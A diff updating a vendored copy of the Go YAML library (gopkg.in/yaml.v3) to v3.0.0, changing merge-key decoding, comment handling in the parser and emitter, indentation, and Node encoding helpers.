@@ -851,6 +893,9 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
|
||||
d.prepare(n, field)
|
||||
}
|
||||
|
||||
mergedFields := d.mergedFields
|
||||
d.mergedFields = nil
|
||||
var mergeNode *Node
|
||||
var doneFields []bool
|
||||
if d.uniqueKeys {
|
||||
doneFields = make([]bool, len(sinfo.FieldsList))
|
||||
@@ -860,13 +905,20 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
|
||||
for i := 0; i < l; i += 2 {
|
||||
ni := n.Content[i]
|
||||
if isMerge(ni) {
|
||||
d.merge(n.Content[i+1], out)
|
||||
mergeNode = n.Content[i+1]
|
||||
continue
|
||||
}
|
||||
if !d.unmarshal(ni, name) {
|
||||
continue
|
||||
}
|
||||
if info, ok := sinfo.FieldsMap[name.String()]; ok {
|
||||
sname := name.String()
|
||||
if mergedFields != nil {
|
||||
if mergedFields[sname] {
|
||||
continue
|
||||
}
|
||||
mergedFields[sname] = true
|
||||
}
|
||||
if info, ok := sinfo.FieldsMap[sname]; ok {
|
||||
if d.uniqueKeys {
|
||||
if doneFields[info.Id] {
|
||||
d.terrors = append(d.terrors, fmt.Sprintf("line %d: field %s already set in type %s", ni.Line, name.String(), out.Type()))
|
||||
@@ -892,6 +944,11 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
|
||||
d.terrors = append(d.terrors, fmt.Sprintf("line %d: field %s not found in type %s", ni.Line, name.String(), out.Type()))
|
||||
}
|
||||
}
|
||||
|
||||
d.mergedFields = mergedFields
|
||||
if mergeNode != nil {
|
||||
d.merge(n, mergeNode, out)
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -899,19 +956,29 @@ func failWantMap() {
|
||||
failf("map merge requires map or sequence of maps as the value")
|
||||
}
|
||||
|
||||
func (d *decoder) merge(n *Node, out reflect.Value) {
|
||||
switch n.Kind {
|
||||
func (d *decoder) merge(parent *Node, merge *Node, out reflect.Value) {
|
||||
mergedFields := d.mergedFields
|
||||
if mergedFields == nil {
|
||||
d.mergedFields = make(map[interface{}]bool)
|
||||
for i := 0; i < len(parent.Content); i += 2 {
|
||||
k := reflect.New(ifaceType).Elem()
|
||||
if d.unmarshal(parent.Content[i], k) {
|
||||
d.mergedFields[k.Interface()] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch merge.Kind {
|
||||
case MappingNode:
|
||||
d.unmarshal(n, out)
|
||||
d.unmarshal(merge, out)
|
||||
case AliasNode:
|
||||
if n.Alias != nil && n.Alias.Kind != MappingNode {
|
||||
if merge.Alias != nil && merge.Alias.Kind != MappingNode {
|
||||
failWantMap()
|
||||
}
|
||||
d.unmarshal(n, out)
|
||||
d.unmarshal(merge, out)
|
||||
case SequenceNode:
|
||||
// Step backwards as earlier nodes take precedence.
|
||||
for i := len(n.Content) - 1; i >= 0; i-- {
|
||||
ni := n.Content[i]
|
||||
for i := 0; i < len(merge.Content); i++ {
|
||||
ni := merge.Content[i]
|
||||
if ni.Kind == AliasNode {
|
||||
if ni.Alias != nil && ni.Alias.Kind != MappingNode {
|
||||
failWantMap()
|
||||
@@ -924,6 +991,8 @@ func (d *decoder) merge(n *Node, out reflect.Value) {
|
||||
default:
|
||||
failWantMap()
|
||||
}
|
||||
|
||||
d.mergedFields = mergedFields
|
||||
}
|
||||
|
||||
func isMerge(n *Node) bool {
|
||||
|
||||
+43
-15
@@ -235,10 +235,13 @@ func yaml_emitter_increase_indent(emitter *yaml_emitter_t, flow, indentless bool
|
||||
emitter.indent = 0
|
||||
}
|
||||
} else if !indentless {
|
||||
emitter.indent += emitter.best_indent
|
||||
// [Go] If inside a block sequence item, discount the space taken by the indicator.
|
||||
if emitter.best_indent > 2 && emitter.states[len(emitter.states)-1] == yaml_EMIT_BLOCK_SEQUENCE_ITEM_STATE {
|
||||
emitter.indent -= 2
|
||||
// [Go] This was changed so that indentations are more regular.
|
||||
if emitter.states[len(emitter.states)-1] == yaml_EMIT_BLOCK_SEQUENCE_ITEM_STATE {
|
||||
// The first indent inside a sequence will just skip the "- " indicator.
|
||||
emitter.indent += 2
|
||||
} else {
|
||||
// Everything else aligns to the chosen indentation.
|
||||
emitter.indent = emitter.best_indent*((emitter.indent+emitter.best_indent)/emitter.best_indent)
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -725,16 +728,9 @@ func yaml_emitter_emit_flow_mapping_value(emitter *yaml_emitter_t, event *yaml_e
|
||||
// Expect a block item node.
|
||||
func yaml_emitter_emit_block_sequence_item(emitter *yaml_emitter_t, event *yaml_event_t, first bool) bool {
|
||||
if first {
|
||||
// [Go] The original logic here would not indent the sequence when inside a mapping.
|
||||
// In Go we always indent it, but take the sequence indicator out of the indentation.
|
||||
indentless := emitter.best_indent == 2 && emitter.mapping_context && (emitter.column == 0 || !emitter.indention)
|
||||
original := emitter.indent
|
||||
if !yaml_emitter_increase_indent(emitter, false, indentless) {
|
||||
if !yaml_emitter_increase_indent(emitter, false, false) {
|
||||
return false
|
||||
}
|
||||
if emitter.indent > original+2 {
|
||||
emitter.indent -= 2
|
||||
}
|
||||
}
|
||||
if event.typ == yaml_SEQUENCE_END_EVENT {
|
||||
emitter.indent = emitter.indents[len(emitter.indents)-1]
|
||||
@@ -785,6 +781,13 @@ func yaml_emitter_emit_block_mapping_key(emitter *yaml_emitter_t, event *yaml_ev
|
||||
if !yaml_emitter_write_indent(emitter) {
|
||||
return false
|
||||
}
|
||||
if len(emitter.line_comment) > 0 {
|
||||
// [Go] A line comment was provided for the key. That's unusual as the
|
||||
// scanner associates line comments with the value. Either way,
|
||||
// save the line comment and render it appropriately later.
|
||||
emitter.key_line_comment = emitter.line_comment
|
||||
emitter.line_comment = nil
|
||||
}
|
||||
if yaml_emitter_check_simple_key(emitter) {
|
||||
emitter.states = append(emitter.states, yaml_EMIT_BLOCK_MAPPING_SIMPLE_VALUE_STATE)
|
||||
return yaml_emitter_emit_node(emitter, event, false, false, true, true)
|
||||
@@ -810,6 +813,27 @@ func yaml_emitter_emit_block_mapping_value(emitter *yaml_emitter_t, event *yaml_
|
||||
return false
|
||||
}
|
||||
}
|
||||
if len(emitter.key_line_comment) > 0 {
|
||||
// [Go] Line comments are generally associated with the value, but when there's
|
||||
// no value on the same line as a mapping key they end up attached to the
|
||||
// key itself.
|
||||
if event.typ == yaml_SCALAR_EVENT {
|
||||
if len(emitter.line_comment) == 0 {
|
||||
// A scalar is coming and it has no line comments by itself yet,
|
||||
// so just let it handle the line comment as usual. If it has a
|
||||
// line comment, we can't have both so the one from the key is lost.
|
||||
emitter.line_comment = emitter.key_line_comment
|
||||
emitter.key_line_comment = nil
|
||||
}
|
||||
} else if event.sequence_style() != yaml_FLOW_SEQUENCE_STYLE && (event.typ == yaml_MAPPING_START_EVENT || event.typ == yaml_SEQUENCE_START_EVENT) {
|
||||
// An indented block follows, so write the comment right now.
|
||||
emitter.line_comment, emitter.key_line_comment = emitter.key_line_comment, emitter.line_comment
|
||||
if !yaml_emitter_process_line_comment(emitter) {
|
||||
return false
|
||||
}
|
||||
emitter.line_comment, emitter.key_line_comment = emitter.key_line_comment, emitter.line_comment
|
||||
}
|
||||
}
|
||||
emitter.states = append(emitter.states, yaml_EMIT_BLOCK_MAPPING_KEY_STATE)
|
||||
if !yaml_emitter_emit_node(emitter, event, false, false, true, false) {
|
||||
return false
|
||||
@@ -823,6 +847,10 @@ func yaml_emitter_emit_block_mapping_value(emitter *yaml_emitter_t, event *yaml_
|
||||
return true
|
||||
}
|
||||
|
||||
func yaml_emitter_silent_nil_event(emitter *yaml_emitter_t, event *yaml_event_t) bool {
|
||||
return event.typ == yaml_SCALAR_EVENT && event.implicit && !emitter.canonical && len(emitter.scalar_data.value) == 0
|
||||
}
|
||||
|
||||
// Expect a node.
|
||||
func yaml_emitter_emit_node(emitter *yaml_emitter_t, event *yaml_event_t,
|
||||
root bool, sequence bool, mapping bool, simple_key bool) bool {
|
||||
@@ -1866,7 +1894,7 @@ func yaml_emitter_write_literal_scalar(emitter *yaml_emitter_t, value []byte) bo
|
||||
if !yaml_emitter_write_block_scalar_hints(emitter, value) {
|
||||
return false
|
||||
}
|
||||
if !put_break(emitter) {
|
||||
if !yaml_emitter_process_line_comment(emitter) {
|
||||
return false
|
||||
}
|
||||
//emitter.indention = true
|
||||
@@ -1903,10 +1931,10 @@ func yaml_emitter_write_folded_scalar(emitter *yaml_emitter_t, value []byte) boo
|
||||
if !yaml_emitter_write_block_scalar_hints(emitter, value) {
|
||||
return false
|
||||
}
|
||||
|
||||
if !put_break(emitter) {
|
||||
if !yaml_emitter_process_line_comment(emitter) {
|
||||
return false
|
||||
}
|
||||
|
||||
//emitter.indention = true
|
||||
emitter.whitespace = true
|
||||
|
||||
|
||||
+23
-7
@@ -119,6 +119,14 @@ func (e *encoder) marshal(tag string, in reflect.Value) {
|
||||
case *Node:
|
||||
e.nodev(in)
|
||||
return
|
||||
case Node:
|
||||
if !in.CanAddr() {
|
||||
var n = reflect.New(in.Type()).Elem()
|
||||
n.Set(in)
|
||||
in = n
|
||||
}
|
||||
e.nodev(in.Addr())
|
||||
return
|
||||
case time.Time:
|
||||
e.timev(tag, in)
|
||||
return
|
||||
@@ -422,18 +430,23 @@ func (e *encoder) nodev(in reflect.Value) {
|
||||
}
|
||||
|
||||
func (e *encoder) node(node *Node, tail string) {
|
||||
// Zero nodes behave as nil.
|
||||
if node.Kind == 0 && node.IsZero() {
|
||||
e.nilv()
|
||||
return
|
||||
}
|
||||
|
||||
// If the tag was not explicitly requested, and dropping it won't change the
|
||||
// implicit tag of the value, don't include it in the presentation.
|
||||
var tag = node.Tag
|
||||
var stag = shortTag(tag)
|
||||
var rtag string
|
||||
var forceQuoting bool
|
||||
if tag != "" && node.Style&TaggedStyle == 0 {
|
||||
if node.Kind == ScalarNode {
|
||||
if stag == strTag && node.Style&(SingleQuotedStyle|DoubleQuotedStyle|LiteralStyle|FoldedStyle) != 0 {
|
||||
tag = ""
|
||||
} else {
|
||||
rtag, _ = resolve("", node.Value)
|
||||
rtag, _ := resolve("", node.Value)
|
||||
if rtag == stag {
|
||||
tag = ""
|
||||
} else if stag == strTag {
|
||||
@@ -442,6 +455,7 @@ func (e *encoder) node(node *Node, tail string) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
var rtag string
|
||||
switch node.Kind {
|
||||
case MappingNode:
|
||||
rtag = mapTag
|
||||
@@ -471,7 +485,7 @@ func (e *encoder) node(node *Node, tail string) {
|
||||
if node.Style&FlowStyle != 0 {
|
||||
style = yaml_FLOW_SEQUENCE_STYLE
|
||||
}
|
||||
e.must(yaml_sequence_start_event_initialize(&e.event, []byte(node.Anchor), []byte(tag), tag == "", style))
|
||||
e.must(yaml_sequence_start_event_initialize(&e.event, []byte(node.Anchor), []byte(longTag(tag)), tag == "", style))
|
||||
e.event.head_comment = []byte(node.HeadComment)
|
||||
e.emit()
|
||||
for _, node := range node.Content {
|
||||
@@ -487,7 +501,7 @@ func (e *encoder) node(node *Node, tail string) {
|
||||
if node.Style&FlowStyle != 0 {
|
||||
style = yaml_FLOW_MAPPING_STYLE
|
||||
}
|
||||
yaml_mapping_start_event_initialize(&e.event, []byte(node.Anchor), []byte(tag), tag == "", style)
|
||||
yaml_mapping_start_event_initialize(&e.event, []byte(node.Anchor), []byte(longTag(tag)), tag == "", style)
|
||||
e.event.tail_comment = []byte(tail)
|
||||
e.event.head_comment = []byte(node.HeadComment)
|
||||
e.emit()
|
||||
@@ -528,11 +542,11 @@ func (e *encoder) node(node *Node, tail string) {
|
||||
case ScalarNode:
|
||||
value := node.Value
|
||||
if !utf8.ValidString(value) {
|
||||
if tag == binaryTag {
|
||||
if stag == binaryTag {
|
||||
failf("explicitly tagged !!binary data must be base64-encoded")
|
||||
}
|
||||
if tag != "" {
|
||||
failf("cannot marshal invalid UTF-8 data as %s", shortTag(tag))
|
||||
if stag != "" {
|
||||
failf("cannot marshal invalid UTF-8 data as %s", stag)
|
||||
}
|
||||
// It can't be encoded directly as YAML so use a binary tag
|
||||
// and encode it as base64.
|
||||
@@ -557,5 +571,7 @@ func (e *encoder) node(node *Node, tail string) {
|
||||
}
|
||||
|
||||
e.emitScalar(value, node.Anchor, tag, style, []byte(node.HeadComment), []byte(node.LineComment), []byte(node.FootComment), []byte(tail))
|
||||
default:
|
||||
failf("cannot encode node with unknown kind %d", node.Kind)
|
||||
}
|
||||
}
|
||||
+34
-14
@@ -648,6 +648,10 @@ func yaml_parser_parse_node(parser *yaml_parser_t, event *yaml_event_t, block, i
|
||||
implicit: implicit,
|
||||
style: yaml_style_t(yaml_BLOCK_MAPPING_STYLE),
|
||||
}
|
||||
if parser.stem_comment != nil {
|
||||
event.head_comment = parser.stem_comment
|
||||
parser.stem_comment = nil
|
||||
}
|
||||
return true
|
||||
}
|
||||
if len(anchor) > 0 || len(tag) > 0 {
|
||||
@@ -694,25 +698,13 @@ func yaml_parser_parse_block_sequence_entry(parser *yaml_parser_t, event *yaml_e
|
||||
|
||||
if token.typ == yaml_BLOCK_ENTRY_TOKEN {
|
||||
mark := token.end_mark
|
||||
prior_head := len(parser.head_comment)
|
||||
prior_head_len := len(parser.head_comment)
|
||||
skip_token(parser)
|
||||
yaml_parser_split_stem_comment(parser, prior_head_len)
|
||||
token = peek_token(parser)
|
||||
if token == nil {
|
||||
return false
|
||||
}
|
||||
if prior_head > 0 && token.typ == yaml_BLOCK_SEQUENCE_START_TOKEN {
|
||||
// [Go] It's a sequence under a sequence entry, so the former head comment
|
||||
// is for the list itself, not the first list item under it.
|
||||
parser.stem_comment = parser.head_comment[:prior_head]
|
||||
if len(parser.head_comment) == prior_head {
|
||||
parser.head_comment = nil
|
||||
} else {
|
||||
// Copy suffix to prevent very strange bugs if someone ever appends
|
||||
// further bytes to the prefix in the stem_comment slice above.
|
||||
parser.head_comment = append([]byte(nil), parser.head_comment[prior_head+1:]...)
|
||||
}
|
||||
|
||||
}
|
||||
if token.typ != yaml_BLOCK_ENTRY_TOKEN && token.typ != yaml_BLOCK_END_TOKEN {
|
||||
parser.states = append(parser.states, yaml_PARSE_BLOCK_SEQUENCE_ENTRY_STATE)
|
||||
return yaml_parser_parse_node(parser, event, true, false)
|
||||
@@ -754,7 +746,9 @@ func yaml_parser_parse_indentless_sequence_entry(parser *yaml_parser_t, event *y
|
||||
|
||||
if token.typ == yaml_BLOCK_ENTRY_TOKEN {
|
||||
mark := token.end_mark
|
||||
prior_head_len := len(parser.head_comment)
|
||||
skip_token(parser)
|
||||
yaml_parser_split_stem_comment(parser, prior_head_len)
|
||||
token = peek_token(parser)
|
||||
if token == nil {
|
||||
return false
|
||||
@@ -780,6 +774,32 @@ func yaml_parser_parse_indentless_sequence_entry(parser *yaml_parser_t, event *y
|
||||
return true
|
||||
}
|
||||
|
||||
// Split stem comment from head comment.
|
||||
//
|
||||
// When a sequence or map is found under a sequence entry, the former head comment
|
||||
// is assigned to the underlying sequence or map as a whole, not the individual
|
||||
// sequence or map entry as would be expected otherwise. To handle this case the
|
||||
// previous head comment is moved aside as the stem comment.
|
||||
func yaml_parser_split_stem_comment(parser *yaml_parser_t, stem_len int) {
|
||||
if stem_len == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
token := peek_token(parser)
|
||||
if token.typ != yaml_BLOCK_SEQUENCE_START_TOKEN && token.typ != yaml_BLOCK_MAPPING_START_TOKEN {
|
||||
return
|
||||
}
|
||||
|
||||
parser.stem_comment = parser.head_comment[:stem_len]
|
||||
if len(parser.head_comment) == stem_len {
|
||||
parser.head_comment = nil
|
||||
} else {
|
||||
// Copy suffix to prevent very strange bugs if someone ever appends
|
||||
// further bytes to the prefix in the stem_comment slice above.
|
||||
parser.head_comment = append([]byte(nil), parser.head_comment[stem_len+1:]...)
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the productions:
|
||||
// block_mapping ::= BLOCK-MAPPING_START
|
||||
// *******************
|
||||
|
||||
+31
-18
@@ -749,6 +749,11 @@ func yaml_parser_fetch_next_token(parser *yaml_parser_t) (ok bool) {
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if len(parser.tokens) > 0 && parser.tokens[len(parser.tokens)-1].typ == yaml_BLOCK_ENTRY_TOKEN {
|
||||
// Sequence indicators alone have no line comments. It becomes
|
||||
// a head comment for whatever follows.
|
||||
return
|
||||
}
|
||||
if !yaml_parser_scan_line_comment(parser, comment_mark) {
|
||||
ok = false
|
||||
return
|
||||
@@ -2255,10 +2260,9 @@ func yaml_parser_scan_block_scalar(parser *yaml_parser_t, token *yaml_token_t, l
|
||||
}
|
||||
}
|
||||
if parser.buffer[parser.buffer_pos] == '#' {
|
||||
// TODO Test this and then re-enable it.
|
||||
//if !yaml_parser_scan_line_comment(parser, start_mark) {
|
||||
// return false
|
||||
//}
|
||||
if !yaml_parser_scan_line_comment(parser, start_mark) {
|
||||
return false
|
||||
}
|
||||
for !is_breakz(parser.buffer, parser.buffer_pos) {
|
||||
skip(parser)
|
||||
if parser.unread < 1 && !yaml_parser_update_buffer(parser, 1) {
|
||||
@@ -2856,13 +2860,12 @@ func yaml_parser_scan_line_comment(parser *yaml_parser_t, token_mark yaml_mark_t
|
||||
return false
|
||||
}
|
||||
skip_line(parser)
|
||||
} else {
|
||||
if parser.mark.index >= seen {
|
||||
if len(text) == 0 {
|
||||
start_mark = parser.mark
|
||||
}
|
||||
text = append(text, parser.buffer[parser.buffer_pos])
|
||||
} else if parser.mark.index >= seen {
|
||||
if len(text) == 0 {
|
||||
start_mark = parser.mark
|
||||
}
|
||||
text = read(parser, text)
|
||||
} else {
|
||||
skip(parser)
|
||||
}
|
||||
}
|
||||
@@ -2888,6 +2891,10 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
|
||||
|
||||
var token_mark = token.start_mark
|
||||
var start_mark yaml_mark_t
|
||||
var next_indent = parser.indent
|
||||
if next_indent < 0 {
|
||||
next_indent = 0
|
||||
}
|
||||
|
||||
var recent_empty = false
|
||||
var first_empty = parser.newlines <= 1
|
||||
@@ -2919,15 +2926,18 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
|
||||
continue
|
||||
}
|
||||
c := parser.buffer[parser.buffer_pos+peek]
|
||||
if is_breakz(parser.buffer, parser.buffer_pos+peek) || parser.flow_level > 0 && (c == ']' || c == '}') {
|
||||
var close_flow = parser.flow_level > 0 && (c == ']' || c == '}')
|
||||
if close_flow || is_breakz(parser.buffer, parser.buffer_pos+peek) {
|
||||
// Got line break or terminator.
|
||||
if !recent_empty {
|
||||
if first_empty && (start_mark.line == foot_line || start_mark.column-1 < parser.indent) {
|
||||
if close_flow || !recent_empty {
|
||||
if close_flow || first_empty && (start_mark.line == foot_line && token.typ != yaml_VALUE_TOKEN || start_mark.column-1 < next_indent) {
|
||||
// This is the first empty line and there were no empty lines before,
|
||||
// so this initial part of the comment is a foot of the prior token
|
||||
// instead of being a head for the following one. Split it up.
|
||||
// Alternatively, this might also be the last comment inside a flow
|
||||
// scope, so it must be a footer.
|
||||
if len(text) > 0 {
|
||||
if start_mark.column-1 < parser.indent {
|
||||
if start_mark.column-1 < next_indent {
|
||||
// If dedented it's unrelated to the prior token.
|
||||
token_mark = start_mark
|
||||
}
|
||||
@@ -2958,7 +2968,7 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
|
||||
continue
|
||||
}
|
||||
|
||||
if len(text) > 0 && column < parser.indent+1 && column != start_mark.column {
|
||||
if len(text) > 0 && (close_flow || column-1 < next_indent && column != start_mark.column) {
|
||||
// The comment at the different indentation is a foot of the
|
||||
// preceding data rather than a head of the upcoming one.
|
||||
parser.comments = append(parser.comments, yaml_comment_t{
|
||||
@@ -2999,10 +3009,9 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
|
||||
return false
|
||||
}
|
||||
skip_line(parser)
|
||||
} else if parser.mark.index >= seen {
|
||||
text = read(parser, text)
|
||||
} else {
|
||||
if parser.mark.index >= seen {
|
||||
text = append(text, parser.buffer[parser.buffer_pos])
|
||||
}
|
||||
skip(parser)
|
||||
}
|
||||
}
|
||||
@@ -3010,6 +3019,10 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
|
||||
peek = 0
|
||||
column = 0
|
||||
line = parser.mark.line
|
||||
next_indent = parser.indent
|
||||
if next_indent < 0 {
|
||||
next_indent = 0
|
||||
}
|
||||
}
|
||||
|
||||
if len(text) > 0 {
|
||||
|
||||
+38
-2
@@ -89,7 +89,7 @@ func Unmarshal(in []byte, out interface{}) (err error) {
|
||||
return unmarshal(in, out, false)
|
||||
}
|
||||
|
||||
// A Decorder reads and decodes YAML values from an input stream.
|
||||
// A Decoder reads and decodes YAML values from an input stream.
|
||||
type Decoder struct {
|
||||
parser *parser
|
||||
knownFields bool
|
||||
@@ -194,7 +194,7 @@ func unmarshal(in []byte, out interface{}, strict bool) (err error) {
|
||||
// Zero valued structs will be omitted if all their public
|
||||
// fields are zero, unless they implement an IsZero
|
||||
// method (see the IsZeroer interface type), in which
|
||||
// case the field will be included if that method returns true.
|
||||
// case the field will be excluded if IsZero returns true.
|
||||
//
|
||||
// flow Marshal using a flow style (useful for structs,
|
||||
// sequences and maps).
|
||||
@@ -252,6 +252,24 @@ func (e *Encoder) Encode(v interface{}) (err error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Encode encodes value v and stores its representation in n.
|
||||
//
|
||||
// See the documentation for Marshal for details about the
|
||||
// conversion of Go values into YAML.
|
||||
func (n *Node) Encode(v interface{}) (err error) {
|
||||
defer handleErr(&err)
|
||||
e := newEncoder()
|
||||
defer e.destroy()
|
||||
e.marshalDoc("", reflect.ValueOf(v))
|
||||
e.finish()
|
||||
p := newParser(e.out)
|
||||
p.textless = true
|
||||
defer p.destroy()
|
||||
doc := p.parse()
|
||||
*n = *doc.Content[0]
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetIndent changes the used indentation used when encoding.
|
||||
func (e *Encoder) SetIndent(spaces int) {
|
||||
if spaces < 0 {
|
||||
@@ -328,6 +346,12 @@ const (
|
||||
// and maps, Node is an intermediate representation that allows detailed
|
||||
// control over the content being decoded or encoded.
|
||||
//
|
||||
// It's worth noting that although Node offers access into details such as
|
||||
// line numbers, colums, and comments, the content when re-encoded will not
|
||||
// have its original textual representation preserved. An effort is made to
|
||||
// render the data plesantly, and to preserve comments near the data they
|
||||
// describe, though.
|
||||
//
|
||||
// Values that make use of the Node type interact with the yaml package in the
|
||||
// same way any other type would do, by encoding and decoding yaml data
|
||||
// directly or indirectly into them.
|
||||
@@ -391,6 +415,13 @@ type Node struct {
|
||||
Column int
|
||||
}
|
||||
|
||||
// IsZero returns whether the node has all of its fields unset.
|
||||
func (n *Node) IsZero() bool {
|
||||
return n.Kind == 0 && n.Style == 0 && n.Tag == "" && n.Value == "" && n.Anchor == "" && n.Alias == nil && n.Content == nil &&
|
||||
n.HeadComment == "" && n.LineComment == "" && n.FootComment == "" && n.Line == 0 && n.Column == 0
|
||||
}
|
||||
|
||||
|
||||
// LongTag returns the long form of the tag that indicates the data type for
|
||||
// the node. If the Tag field isn't explicitly defined, one will be computed
|
||||
// based on the node properties.
|
||||
@@ -418,6 +449,11 @@ func (n *Node) ShortTag() string {
|
||||
case ScalarNode:
|
||||
tag, _ := resolve("", n.Value)
|
||||
return tag
|
||||
case 0:
|
||||
// Special case to make the zero value convenient.
|
||||
if n.IsZero() {
|
||||
return nullTag
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
+2
@@ -787,6 +787,8 @@ type yaml_emitter_t struct {
|
||||
foot_comment []byte
|
||||
tail_comment []byte
|
||||
|
||||
key_line_comment []byte
|
||||
|
||||
// Dumper stuff
|
||||
|
||||
opened bool // If the stream was already opened?
|
||||
|
||||
Vendored
+1
-1
@@ -500,7 +500,7 @@ gopkg.in/AlecAivazis/survey.v1/core
|
||||
gopkg.in/AlecAivazis/survey.v1/terminal
|
||||
# gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b
|
||||
## explicit
|
||||
# gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c
|
||||
# gopkg.in/yaml.v3 v3.0.0
|
||||
## explicit
|
||||
gopkg.in/yaml.v3
|
||||
# gorm.io/driver/mysql v1.0.3
|
||||
|
||||
Reference in new issue
Block a user